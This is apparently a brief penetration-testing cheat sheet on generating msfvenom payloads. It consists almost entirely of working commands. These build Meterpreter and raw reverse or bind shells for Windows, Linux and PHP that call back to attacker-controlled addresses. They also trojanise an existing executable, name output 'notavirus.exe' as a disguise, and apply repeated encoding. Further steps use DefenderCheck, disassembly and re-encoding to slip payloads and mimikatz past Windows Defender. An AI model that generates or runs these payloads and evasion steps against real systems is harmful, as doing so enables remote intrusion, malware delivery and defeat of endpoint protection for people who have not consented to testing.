MSFVenom

Generate msfvenom payloads

msfvenom -p [payload] -f [format] LHOST=[your ip] LPORT=[your listener port]
msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.30 -f exe -o notavirus.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.39 LPORT=8081 -f raw > new.php
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c > shell.c

# Read all options for a payload
msfvenom -p linux/x86/exec --list-options

DefenderCheck.exe .\mimikatz.exe

We can get advanced to disassemble the raw payload and ghostwrite 👻

ruby disassemble.rb payload.raw > payload.asm

# Editing the asm for fun and profit…]
ruby peencode.rb payload.asm -o payload.exe

Windows Defender is a formidable adversary. We can use things such as DefenderCheck.exe to bypass checks

DefenderCheck.exe .\mimikatz.exe